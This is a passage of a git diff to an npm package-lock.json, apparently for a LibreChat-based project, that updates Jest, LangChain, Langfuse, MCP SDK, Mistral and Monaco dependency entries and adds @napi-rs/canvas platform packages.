"node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/schemas": { "version": "30.0.5", "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", @@ -11543,41 +11131,6 @@ "dev": true, "license": "MIT" }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/@sinonjs/fake-timers": { - "version": "13.0.5", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", - "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "@sinonjs/commons": "^3.0.1" - } - }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/@types/jsdom": { - "version": "21.1.7", - "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz", - "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*", - "@types/tough-cookie": "*", - "parse5": "^7.0.0" - } - }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/ansi-styles": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", - "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, "node_modules/@jest/environment-jsdom-abstract/node_modules/ci-info": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz", @@ -11594,42 +11147,6 @@ "node": ">=8" } }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-message-util": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz", - "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@jest/types": "30.2.0", - "@types/stack-utils": "^2.0.3", - "chalk": "^4.1.2", - "graceful-fs": "^4.2.11", - "micromatch": "^4.0.8", - "pretty-format": "30.2.0", - "slash": "^3.0.0", - "stack-utils": "^2.0.6" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-mock": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz", - "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@types/node": "*", - "jest-util": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-util": { "version": "30.2.0", "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz", @@ -11661,31 +11178,45 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/pretty-format": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz", - "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==", + "node_modules/@jest/environment/node_modules/@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", - "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "@sinclair/typebox": "^0.34.0" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "node_modules/@jest/environment/node_modules/@jest/types": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz", + "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==", "dev": true, "license": "MIT", + "dependencies": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, + "node_modules/@jest/environment/node_modules/@sinclair/typebox": { + "version": "0.34.48", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.48.tgz", + "integrity": "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA==", + "dev": true, + "license": "MIT" + }, "node_modules/@jest/expect-utils": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", @@ -11699,20 +11230,166 @@ } }, "node_modules/@jest/fake-timers": { - "version": "29.7.0", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", - "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==", + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz", + "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==", "dev": true, + "license": "MIT", "dependencies": { - "@jest/types": "^29.6.3", - "@sinonjs/fake-timers": "^10.0.2", + "@jest/types": "30.2.0", + "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", - "jest-message-util": "^29.7.0", - "jest-mock": "^29.7.0", - "jest-util": "^29.7.0" + "jest-message-util": "30.2.0", + "jest-mock": "30.2.0", + "jest-util": "30.2.0" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sinclair/typebox": "^0.34.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/@jest/types": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz", + "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/@sinclair/typebox": { + "version": "0.34.48", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.48.tgz", + "integrity": "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jest/fake-timers/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/fake-timers/node_modules/ci-info": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz", + "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/fake-timers/node_modules/jest-message-util": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz", + "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.2.0", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.2.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/jest-util": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz", + "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "30.2.0", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@jest/fake-timers/node_modules/pretty-format": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz", + "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" } }, "node_modules/@jest/get-type": { @@ -12100,13 +11777,13 @@ } }, "node_modules/@langchain/anthropic": { - "version": "0.3.33", - "resolved": "https://registry.npmjs.org/@langchain/anthropic/-/anthropic-0.3.33.tgz", - "integrity": "sha512-uaMwieUNQbFbu0TQG6Kiub2m7hGcdjQRwniu2RzB4mroUsYCcFThv3MDumEjFMQZW/9P0eyzzTGPXJCNdQUoZg==", + "version": "0.3.34", + "resolved": "https://registry.npmjs.org/@langchain/anthropic/-/anthropic-0.3.34.tgz", + "integrity": "sha512-8bOW1A2VHRCjbzdYElrjxutKNs9NSIxYRGtR+OJWVzluMqoKKh2NmmFrpPizEyqCUEG2tTq5xt6XA1lwfqMJRA==", "license": "MIT", "dependencies": { "@anthropic-ai/sdk": "^0.65.0", - "fast-xml-parser": "^4.4.1" + "fast-xml-parser": "5.3.8" }, "engines": { "node": ">=18" @@ -12342,18 +12019,6 @@ "@langchain/core": ">=0.3.58 <0.4.0" } }, - "node_modules/@langchain/google-genai/node_modules/uuid": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz", - "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "bin": { - "uuid": "dist/esm/bin/uuid" - } - }, "node_modules/@langchain/google-vertexai": { "version": "0.2.18", "resolved": "https://registry.npmjs.org/@langchain/google-vertexai/-/google-vertexai-0.2.18.tgz", @@ -12449,6 +12114,19 @@ } } }, + "node_modules/@langchain/langgraph-sdk/node_modules/uuid": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, "node_modules/@langchain/langgraph/node_modules/uuid": { "version": "10.0.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-10.0.0.tgz", @@ -12539,22 +12217,22 @@ } }, "node_modules/@langfuse/core": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/@langfuse/core/-/core-4.4.1.tgz", - "integrity": "sha512-qg8Pc+scPY6XXePN7Hy91YGfiuqW1QJAa8pyqZhQ3vYPGssoa/vkabmDPQycRIT6cQOurmN+KbA6rQDtJVtgbw==", + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/@langfuse/core/-/core-4.5.1.tgz", + "integrity": "sha512-caJ2YWcaEU+kbzxFiyzRYaCmKxGzL9DSxbrCer8HbayYo2TaFaAu67Zeili8u8qG4q7TXga4aL2+rpU5ebWdRA==", "license": "MIT", "peerDependencies": { "@opentelemetry/api": "^1.9.0" } }, "node_modules/@langfuse/langchain": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/@langfuse/langchain/-/langchain-4.4.1.tgz", - "integrity": "sha512-yyqpa1lLYdHTIzmzPX80L2n4DsR8yMd9g1gD61Xjq2I1I0He+IL5n0nLlm+88py7MEA/TB/YsqBdVNS2vCNeQg==", + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/@langfuse/langchain/-/langchain-4.5.1.tgz", + "integrity": "sha512-+pzC/WVR9f8YS3vEi69GmTNzwqJ9z2VZN8tOGYO3zO15b306aMTvUm44/EYCanWiZjhwUNqEM25jEHB+/dCFYA==", "license": "MIT", "dependencies": { - "@langfuse/core": "^4.4.1", - "@langfuse/tracing": "^4.4.1" + "@langfuse/core": "^4.5.1", + "@langfuse/tracing": "^4.5.1" }, "peerDependencies": { "@langchain/core": ">=0.3.0", @@ -12562,12 +12240,12 @@ } }, "node_modules/@langfuse/otel": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/@langfuse/otel/-/otel-4.4.1.tgz", - "integrity": "sha512-6nC5/buyyUPT+JgfkkapcVUkwqMLyz7Ld0OYzzBzwl2gVQKeUHaYRPM/mfJqIj1Ov1oAnnpsVDk85xAviXdV0g==", + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/@langfuse/otel/-/otel-4.5.1.tgz", + "integrity": "sha512-cqykMEAYmGnd9RSZW2FPCNLda5jKZpCOnHTCu0pQD8EDgxCaHbnmD16k6WyjE/jywh991BcIFXzYub2fNbbSSQ==", "license": "MIT", "dependencies": { - "@langfuse/core": "^4.4.1" + "@langfuse/core": "^4.5.1" }, "engines": { "node": ">=20" @@ -12580,12 +12258,12 @@ } }, "node_modules/@langfuse/tracing": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/@langfuse/tracing/-/tracing-4.4.1.tgz", - "integrity": "sha512-PK3MCwHaReF8wJUYUq2YTeKA52EImi2OKJsSBM+i8ayKqrEY3kKPsAAROBSWOs/qx9eqZCJvlRovSwSRmhZDGQ==", + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/@langfuse/tracing/-/tracing-4.5.1.tgz", + "integrity": "sha512-PvN8fJzEDG2IQMD7/iGhoeEzMM0fJ/ktZdy5gfMfj3/UUccigqV0flxpzvgRoAUss+0ZmqkIlJoaerHKOCMD+A==", "license": "MIT", "dependencies": { - "@langfuse/core": "^4.4.1" + "@langfuse/core": "^4.5.1" }, "engines": { "node": ">=20" @@ -12646,11 +12324,13 @@ } }, "node_modules/@librechat/agents": { - "version": "3.0.776", - "resolved": "https://registry.npmjs.org/@librechat/agents/-/agents-3.0.776.tgz", - "integrity": "sha512-tLhFqyjlGl70QV8mq9cvmvwQ0hw/WCIC7ayEY5zJAXK+WTO80ir7xjYtXz98PX0+hNwNu8PFekgnSTWrYIrT0w==", + "version": "3.1.55", + "resolved": "https://registry.npmjs.org/@librechat/agents/-/agents-3.1.55.tgz", + "integrity": "sha512-impxeKpCDlPkAVQFWnA6u6xkxDSBR/+H8uYq7rZomBeu0rUh/OhJLiI1fAwPhKXP33udNtHA8GyDi0QJj78R9w==", "license": "MIT", "dependencies": { + "@anthropic-ai/sdk": "^0.73.0", + "@aws-sdk/client-bedrock-runtime": "^3.980.0", "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.80", @@ -12666,7 +12346,8 @@ "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", - "axios": "^1.12.1", + "@scarf/scarf": "^1.4.0", + "axios": "^1.13.5", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", @@ -12725,12 +12406,12 @@ } }, "node_modules/@mermaid-js/parser": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-0.6.3.tgz", - "integrity": "sha512-lnjOhe7zyHjc+If7yT4zoedx2vo4sHaTmtkl1+or8BRTnCtDmcTpAjpzDSfCZrshM5bCoz0GyidzadJAH1xobA==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.0.1.tgz", + "integrity": "sha512-opmV19kN1JsK0T6HhhokHpcVkqKpF+x2pPDKKM2ThHtZAB5F4PROopk0amuVYK5qMrIA4erzpNm8gmPNJgMDxQ==", "license": "MIT", "dependencies": { - "langium": "3.3.1" + "langium": "^4.0.0" } }, "node_modules/@microsoft/microsoft-graph-client": { @@ -12761,18 +12442,19 @@ } }, "node_modules/@mistralai/mistralai": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-1.10.0.tgz", - "integrity": "sha512-tdIgWs4Le8vpvPiUEWne6tK0qbVc+jMenujnvTqOjogrJUsCSQhus0tHTU1avDDh5//Rq2dFgP9mWRAdIEoBqg==", + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-1.14.0.tgz", + "integrity": "sha512-6zaj2f2LCd37cRpBvCgctkDbXtYBlAC85p+u4uU/726zjtsI+sdVH34qRzkm9iE3tRb8BoaiI0/P7TD+uMvLLQ==", "dependencies": { - "zod": "^3.20.0", + "ws": "^8.18.0", + "zod": "^3.25.0 || ^4.0.0", "zod-to-json-schema": "^3.24.1" } }, "node_modules/@modelcontextprotocol/sdk": { - "version": "1.25.3", - "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.25.3.tgz", - "integrity": "sha512-vsAMBMERybvYgKbg/l4L1rhS7VXV1c0CtyJg72vwxONVX0l4ZfKVAnZEWTQixJGTzKnELjQ59e4NbdFDALRiAQ==", + "version": "1.27.1", + "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.27.1.tgz", + "integrity": "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA==", "license": "MIT", "dependencies": { "@hono/node-server": "^1.19.9", @@ -12783,14 +12465,15 @@ "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", - "express": "^5.0.1", - "express-rate-limit": "^7.5.0", - "jose": "^6.1.1", + "express": "^5.2.1", + "express-rate-limit": "^8.2.1", + "hono": "^4.11.4", + "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", - "zod-to-json-schema": "^3.25.0" + "zod-to-json-schema": "^3.25.1" }, "engines": { "node": ">=18" @@ -12817,6 +12500,29 @@ "url": "https://github.com/sponsors/panva" } }, + "node_modules/@monaco-editor/loader": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", + "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==", + "license": "MIT", + "dependencies": { + "state-local": "^1.0.6" + } + }, + "node_modules/@monaco-editor/react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", + "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==", + "license": "MIT", + "dependencies": { + "@monaco-editor/loader": "^1.5.0" + }, + "peerDependencies": { + "monaco-editor": ">= 0.25.0 < 1", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, "node_modules/@mongodb-js/saslprep": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@mongodb-js/saslprep/-/saslprep-1.3.1.tgz", @@ -12826,6 +12532,256 @@ "sparse-bitfield": "^3.0.3" } }, + "node_modules/@napi-rs/canvas": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas/-/canvas-0.1.88.tgz", + "integrity": "sha512-/p08f93LEbsL5mDZFQ3DBxcPv/I4QG9EDYRRq1WNlCOXVfAHBTHMSVMwxlqG/AtnSfUr9+vgfN7MKiyDo0+Weg==", + "license": "MIT", + "optional": true, + "workspaces": [ + "e2e/*" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "optionalDependencies": { + "@napi-rs/canvas-android-arm64": "0.1.88", + "@napi-rs/canvas-darwin-arm64": "0.1.88", + "@napi-rs/canvas-darwin-x64": "0.1.88", + "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.88", + "@napi-rs/canvas-linux-arm64-gnu": "0.1.88", + "@napi-rs/canvas-linux-arm64-musl": "0.1.88", + "@napi-rs/canvas-linux-riscv64-gnu": "0.1.88", + "@napi-rs/canvas-linux-x64-gnu": "0.1.88", + "@napi-rs/canvas-linux-x64-musl": "0.1.88", + "@napi-rs/canvas-win32-arm64-msvc": "0.1.88", + "@napi-rs/canvas-win32-x64-msvc": "0.1.88" + } + }, + "node_modules/@napi-rs/canvas-android-arm64": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-android-arm64/-/canvas-android-arm64-0.1.88.tgz", + "integrity": "sha512-KEaClPnZuVxJ8smUWjV1wWFkByBO/D+vy4lN+Dm5DFH514oqwukxKGeck9xcKJhaWJGjfruGmYGiwRe//+/zQQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-darwin-arm64": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-arm64/-/canvas-darwin-arm64-0.1.88.tgz", + "integrity": "sha512-Xgywz0dDxOKSgx3eZnK85WgGMmGrQEW7ZLA/E7raZdlEE+xXCozobgqz2ZvYigpB6DJFYkqnwHjqCOTSDGlFdg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-darwin-x64": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-x64/-/canvas-darwin-x64-0.1.88.tgz", + "integrity": "sha512-Yz4wSCIQOUgNucgk+8NFtQxQxZV5NO8VKRl9ePKE6XoNyNVC8JDqtvhh3b3TPqKK8W5p2EQpAr1rjjm0mfBxdg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-linux-arm-gnueabihf": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm-gnueabihf/-/canvas-linux-arm-gnueabihf-0.1.88.tgz", + "integrity": "sha512-9gQM2SlTo76hYhxHi2XxWTAqpTOb+JtxMPEIr+H5nAhHhyEtNmTSDRtz93SP7mGd2G3Ojf2oF5tP9OdgtgXyKg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-linux-arm64-gnu": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-gnu/-/canvas-linux-arm64-gnu-0.1.88.tgz", + "integrity": "sha512-7qgaOBMXuVRk9Fzztzr3BchQKXDxGbY+nwsovD3I/Sx81e+sX0ReEDYHTItNb0Je4NHbAl7D0MKyd4SvUc04sg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-linux-arm64-musl": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-musl/-/canvas-linux-arm64-musl-0.1.88.tgz", + "integrity": "sha512-kYyNrUsHLkoGHBc77u4Unh067GrfiCUMbGHC2+OTxbeWfZkPt2o32UOQkhnSswKd9Fko/wSqqGkY956bIUzruA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-linux-riscv64-gnu": { + "version": "0.1.88", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-riscv64-gnu/-/canvas-linux-riscv64-gnu-0.1.88.tgz", + "integrity": "sha512-HVuH7QgzB0yavYdNZDRyAsn/ejoXB0hn8twwFnOqUbCCdkV+REna7RXjSR7+PdfW0qMQ2YYWsLvVBT5iL/mGpw==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": 